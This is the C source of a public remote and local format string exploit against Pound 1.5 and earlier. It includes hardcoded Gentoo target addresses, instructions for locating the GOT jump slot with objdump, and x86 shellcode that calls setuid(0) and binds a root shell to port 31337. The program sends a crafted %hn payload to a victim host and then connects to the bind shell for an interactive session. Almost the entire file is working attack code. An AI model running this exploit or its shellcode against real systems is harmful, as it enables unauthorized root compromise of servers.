/*
Pound <=1.5 remote format string exploit (public version)
by
Nilanjan De - n2n@front.ru
Eye on Security Research Group, India, http://www.eos-india.net
 
Vendor URL: http://www.apsis.ch/pound/Local exploit is only useful is pound is setuid
The shellcode used doesn't break chroot
if you need to break chroot, use a different shellcode
To find jmpslot:
For remote:
 objdump -R /usr/sbin/pound|grep pthread_exit|cut -d ' ' -f 1
for local:
 objdump -R /usr/sbin/pound|grep exit|grep -v pthread|cut -d ' ' -f 1
 
Note: In case of remote exploit, since the exploit occurs in one of the
threads, you may need to modify this exploit to brute-force the RET
address to make the exploit work. Since pound runs in daemon mode, brute
forcing it is no problem.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define PORT 8888
#define BUFSIZE 1024
#define NOP 0x90
#define POUND "/usr/sbin/pound"
#define COMMAND "TERM=xterm; export TERM=xterm; id;uname -a;\n"
#define LOCALHOST "127.0.0.1"
typedef enum {LOCAL,REMOTE} type_t;
struct target
{
char *arch;
unsigned long jmpslot;
unsigned long ret;
unsigned int align;
unsigned int  offset;
 type_t type;
} targets[]=
{
 {"Gentoo - Pound 1.5 remote",0x08055610,0xbf3eda54,3,7,REMOTE},
 {"Gentoo - Pound 1.5 local",0x08055618,0xbffff410,1,11,LOCAL},
 {NULL,0x00,0x00,0,0,0}
};
/*
x86 linux fork+portbind shellcode(port 31337)
*/
char shellcode[]=
/* sys_fork() */
"\x31\xc0"                      // xorl         %eax,%eax
"\x31\xdb"                      // xorl         %ebx,%ebx
"\xb0\x02"                      // movb         $0x2,%al
"\xcd\x80"                      // int          $0x80
"\x38\xc3"                      // cmpl         %ebx,%eax
"\x74\x05"                      // je           0x5
/* sys_exit() */
"\x8d\x43\x01"                  // leal         0x1(%ebx),%eax
"\xcd\x80"                      // int          $0x80
/* setuid(0) */
"\x31\xc0"                      // xorl         %eax,%eax
"\x31\xdb"                      // xorl         %ebx,%ebx
"\xb0\x17"                      // movb         $0x17,%al
"\xcd\x80"                      // int          $0x80
/* socket() */
"\x31\xc0"                      // xorl    %eax,%eax
"\x89\x45\x10"                  // movl    %eax,0x10(%ebp)(IPPROTO_IP =
0x0)
"\x40"                          // incl    %eax
"\x89\xc3"                      // movl    %eax,%ebx(SYS_SOCKET = 0x1)
"\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)(SOCK_STREAM =
0x1)
"\x40"                          // incl    %eax
"\x89\x45\x08"                  // movl    %eax,0x8(%ebp)(AF_INET = 0x2)
"\x8d\x4d\x08"                  // leal    0x8(%ebp),%ecx
"\xb0\x66"                      // movb    $0x66,%al
"\xcd\x80"                      // int     $0x80
"\x89\x45\x08"                  // movl    %eax,0x8(%ebp)
       /* bind()*/
       "\x43"                          // incl    %ebx(SYS_BIND = 0x2)
       "\x66\x89\x5d\x14"              // movw    %bx,0x14(%ebp)(AF_INET
= 0x2)
   "\x66\xc7\x45\x16\x7a\x69"      // movw    
$0x697a,0x16(%ebp)(port=31337)
       "\x31\xd2"                      // xorl    %edx,%edx
       "\x89\x55\x18"                  // movl    %edx,0x18(%ebp)
       "\x8d\x55\x14"                  // leal    0x14(%ebp),%edx
       "\x89\x55\x0c"                  // movl    %edx,0xc(%ebp)
       "\xc6\x45\x10\x10"              // movb    
$0x10,0x10(%ebp)(sizeof(struct sockaddr) = 10h = 16)
       "\xb0\x66"                      // movb    $0x66,%al
       "\xcd\x80"                      // int     $0x80
       /* listen() */
       "\x40"                          // incl    %eax
       "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)
       "\x43"                          // incl    %ebx
       "\x43"                          // incl    %ebx(SYS_LISTEN = 0x4)
       "\xb0\x66"                      // movb    $0x66,%al
       "\xcd\x80"                      // int     $0x80
       /* accept() */
       "\x43"                          // incl    %ebx
       "\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)
       "\x89\x45\x10"                  // movl    %eax,0x10(%ebp)
       "\xb0\x66"                      // movb    $0x66,%al
       "\xcd\x80"                      // int     $0x80
       "\x89\xc3"                      // movl    %eax,%ebx
       /* dup2() */
       "\x31\xc9"                      // xorl    %ecx,%ecx
       "\xb0\x3f"                      // movb    $0x3f,%al
       "\xcd\x80"                      // int     $0x80
       "\x41"                          // incl    %ecx
       "\x80\xf9\x03"                  // cmpb    $0x3,%cl
       "\x75\xf6"                      // jne     -0xa
       /* execve() */
       "\x31\xd2"                      // xorl    %edx,%edx
       "\x52"                          // pushl   %edx
       "\x68\x6e\x2f\x73\x68"          // pushl   $0x68732f6e
       "\x68\x2f\x2f\x62\x69"          // pushl   $0x69622f2f
       "\x89\xe3"                      // movl    %esp,%ebx
       "\x52"                          // pushl   %edx
       "\x53"                          // pushl   %ebx
       "\x89\xe1"                      // movl    %esp,%ecx
       "\xb0\x0b"                      // movb    $0xb,%al
       "\xcd\x80";                     // int     $0x80
int
connect_to(char *host, unsigned int port)
{
struct hostent *h;
struct sockaddr_in sin;
int sock;
if((h=gethostbyname(host))==NULL)
{
 printf("- Error: Unable to resolve %s\n",host);  
 exit(EXIT_FAILURE);
}
printf("+ Resolved %s\n",host);
sin.sin_addr=*((struct in_addr *)h->h_addr);
sin.sin_family=AF_INET;
sin.sin_port=htons((u_short)port);
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0)
{
 perror("socket");exit(EXIT_FAILURE);
}
if(connect(sock,(struct sockaddr*)&sin,sizeof(sin))<0)
{
 perror("connect");exit(EXIT_FAILURE);
}
printf("+ Connected\n");
return sock;
}
int sh(int sockfd) {
  char snd[1024], rcv[1024];
  fd_set rset;
  int maxfd, n;
  strcpy(snd, COMMAND "\n");
  write(sockfd, snd, strlen(snd));
  for (;;) {
     FD_SET(fileno(stdin), &rset);
     FD_SET(sockfd, &rset);
     maxfd = ( ( fileno(stdin) > sockfd )?fileno(stdin):sockfd ) + 1;
     select(maxfd, &rset, NULL, NULL, NULL);
     if (FD_ISSET(fileno(stdin), &rset)) {
        bzero(snd, sizeof(snd));
        fgets(snd, sizeof(snd)-2, stdin);
        write(sockfd, snd, strlen(snd));
     }
                                                                         
   
     if (FD_ISSET(sockfd, &rset)) {
        bzero(rcv, sizeof(rcv));
                                                                         
   
        if ((n = read(sockfd, rcv, sizeof(rcv))) == 0) {
           printf("+ Good Bye!\n");
           return 0;
        }
                                                                         
   
        if (n < 0) {
           perror("read");
           exit(EXIT_FAILURE);
        }
                                                                         
   
        fputs(rcv, stdout);
        fflush(stdout);
     }
  }
}
                                                                         
   
void
usage(char *progname)
{
int i;
printf("Usage: %s <type> [RemoteHost]\n",progname);
printf("Available types:\n");
for(i=0;targets[i].arch!=NULL;i++)
{
 printf("\t%d\t-\t%s\n",i,targets[i].arch);
}
exit(EXIT_FAILURE);
}
int
testifworked()
{
}
int main(int argc,char **argv)
{
char *victim;
int s;
int i;
int high,low;
unsigned int port=PORT;
struct target *t;
char buf[BUFSIZE];
if(argc<2) usage(argv[0]);
i=atoi(argv[1]);
if((i<0)||(i>=(sizeof(targets)/sizeof(struct target))-1))
{
 printf("- Invalid target type\n");
 exit(EXIT_FAILURE);
}
t=&targets[i];
high=(t->ret & 0xffff0000) >> 16;
low=(t->ret & 0x0000ffff);
memset(buf,NOP,BUFSIZE-1);
buf[BUFSIZE-1]=0;
if(t->type==REMOTE)
{
 if(argc<3) usage(argv[0]);
 victim=argv[2];
}
     
if(high>low)
{
 *((unsigned long *)(buf+t->align))=t->jmpslot;
 *((unsigned long *)(buf+t->align+4))=t->jmpslot+2;
}
else
{
 *((unsigned long *)(buf+t->align))=t->jmpslot+2;
 *((unsigned long *)(buf+t->align+4))=t->jmpslot;
 high^=low^=high^=low;
}
buf[t->align+9]=0;
if(t->type==REMOTE)
 low-=0x16+t->align;
else
 low-=0x28+t->align;
i=snprintf(buf+t->align+9,BUFSIZE-1,"%%%dx%%%d$hn%%%dx%%%d$hn",low,t->offset,high-low,t->offset+1);
buf[t->align+9+i]=NOP;
memcpy(buf+BUFSIZE-6-strlen(shellcode),shellcode,strlen(shellcode));
buf[BUFSIZE-3]=buf[BUFSIZE-5]='\r';
buf[BUFSIZE-2]=buf[BUFSIZE-4]='\n';
if(t->type==LOCAL)
{
 if(!fork())
 {
  execl(POUND,"pound","-f",buf,0);
  perror("exec");exit(EXIT_FAILURE);
 }
 victim=LOCALHOST;
}
else
{
 printf("+ Connecting to victim\n");
 s=connect_to(victim,port);
 printf("+ Attach?");
 scanf("%c",&i);
 printf("+ Sending evil buffer\n");
 if(send(s,buf,BUFSIZE,0)!=BUFSIZE)
 {
  perror("send");exit(EXIT_FAILURE);
 }
 close(s);
}
sleep(1);
printf("+ Checking if exploit worked\n");
s=connect_to(victim,31337);
sh(s);
exit(EXIT_SUCCESS);
}